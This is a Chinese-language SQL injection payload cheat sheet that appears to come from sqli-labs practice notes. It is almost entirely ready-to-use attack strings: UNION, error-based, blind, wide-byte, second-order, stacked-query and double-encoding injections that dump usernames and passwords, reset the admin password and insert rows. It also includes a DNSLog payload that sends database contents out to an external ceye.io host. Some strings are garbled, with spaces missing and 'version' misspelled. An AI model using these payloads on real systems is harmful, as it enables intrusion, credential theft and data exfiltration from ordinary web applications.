select1and1=(selectcount(id) from users where username="admin"); # 返回1说明存在admin用户名 select1and1=(selectcount(id) from users where username="admin123");# 返回0说明不存在admin123用户名 select'xxxx'or1=(selectcount(id) from users where username="admin123");
盲注,判断数据长度
1 2
select0OR (SELECTCOUNT(*) FROM users WHERE username='admin'AND LENGTH(password)>8); # 判断x1lys用户password的长度
盲注,枚举数据条数
1
select (SELECTCOUNT(*) FROM information_schema.tables WHERE table_schema='security');
# 读取系统信息 ?id=0' union select 1,user(),vesrion() -- + # vserion() user() database() # 读取数据库名 ?id=0'unionselect1,2,(select group_concat(schema_name) from information_schema.schemata)-- +
# 读取表名 ?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")-- + # 读取列名 ?id=0'unionselect1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")-- +
# 读取数据 ?id=0' union select 1,(select group_concat(username,0x7e,password) from users),3-- +
# 读取系统信息 ?id=1' or updatexml(1,concat(0x7e,(select concat(user(),0x7e,version(),0x7e,database()))),1)--+ ?id=1'or extractvalue(1,concat(0x7e,(select concat(user(),0x7e,version(),0x7e,database()))))--+
# 读取数据库名 ?id=1' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)-- + # 读取表名 ?id=1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
# 读取列名 ?id=1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+ # 读取数据 ?id=1'or extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))-- +
# 读取系统信息 ?id=1' or exp(~(select * from (select concat(version(),database(),0x7,user()))x))-- + # 读取数据库名 ?id=1'orexp(~(select*from (select group_concat(schema_name) from information_schema.schemata)x))-- +
# 读取表名 ?id=1' or exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema="security")x))-- + # 读取列名 ?id=1'orexp(~(select*from (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")x))-- +
# 读取数据 ?id=1' or exp(~(select * from (select concat(user," : ",password) from users)x))-- +
# 读取系统信息 ?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",version()," ",user()," ",database()))-- + # 读取数据库名 ?id=1'or (selectcount(*) from information_schema.schemata groupby concat(floor(rand(0)*2)," ",(select group_concat(schema_name) from information_schema.schemata)))-- +
# 读取表名 ?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(table_name) from information_schema.tables where table_schema="security")))-- + # 读取列名 ?id=1'or (selectcount(*) from information_schema.schemata groupby concat(floor(rand(0)*2)," ",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))-- +
# 读取数据 ?id=1' or (select count(*) from information_schema.schemata group by concat(floor(rand(0)*2)," ",(select group_concat(username,password) from users)))-- +
# 各种几何函数报错的用法 # 读取系统信息 ?id=1' or multipoint((select * from (select * from (select version())a)b))-- + ?id=1'or geometrycollection((select*from (select*from (select version())a)b)))-- + ?id=1' or polygon((select * from (select * from (select version())a)b)))-- + ?id=1'or multipolygon((select*from (select*from (select version())a)b)))-- + ?id=1' or linestring((select * from (select * from (select version())a)b)))-- + ?id=1'or multilinestring((select*from (select*from (select version())a)b)))-- +
# 读取数据库名 ?id=1' or multipoint((select * from (select * from (select group_concat(schema_name) from information_schema.schemata)a)b))-- + # 读取表名 ?id=1'or multipoint((select*from (select*from (select group_concat(table_name) from information_schema.tables where table_schema="security")a)b))-- +
#读取列名 ?id=1' or multipoint((select * from (select * from (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")a)b))-- + # 读取数据 ?id=1'or multipoint((select*from (select*from (select group_concat(username,password) from users)a)b))-- +
# 读取系统信息 ?id=0%df' union select 1,user(),vesrion() -- + # vserion() user() database() # 读取数据库名 ?id=0%df'unionselect1,2,(select group_concat(schema_name) from information_schema.schemata)-- +
# 读取表名 ?id=0%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")-- + # 读取列名 ?id=0%df'unionselect1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")-- +
# 读取数据 ?id=0%df' union select 1,(select group_concat(username,0x7e,password) from users),3-- +
sqli-labs-less-32
二次注入
前提
从数据库取出脏数据时,无二次过滤
payload
1
admin' or 1=1 -- +
sqli-labs-less-24
注册用户名为:admin’ or 1=1 – + 密码为1234
登录用户名:admin’ or 1=1 – +
修改admin’ or 1=1 – +的密码为8888
其实就二次注入修改了admin的密码为8888,登录admin 8888
登录成功
二次编码注入
前提
urldecode()函数在转义方法之后
payload
1
?id=1%25%27
堆叠注入
前提
未对”;”号进行过滤
使用了类似mysqli_multi_query()的函数,允许了多条sql语句执行
payload
1 2
# 插入用户X1ly?S数据 ?id=1';insert into users values('100','X1ly?S','123456')--+
sqli-labs-less-38
DNSLog注入
前提
无需回显
secure_file_priv无限制
payload
1
?id=0' or (select load_file(concat('\\\\\\\\',hex((select database())),'.xxxxxx.ceye.io\\\\1.txt')))-- +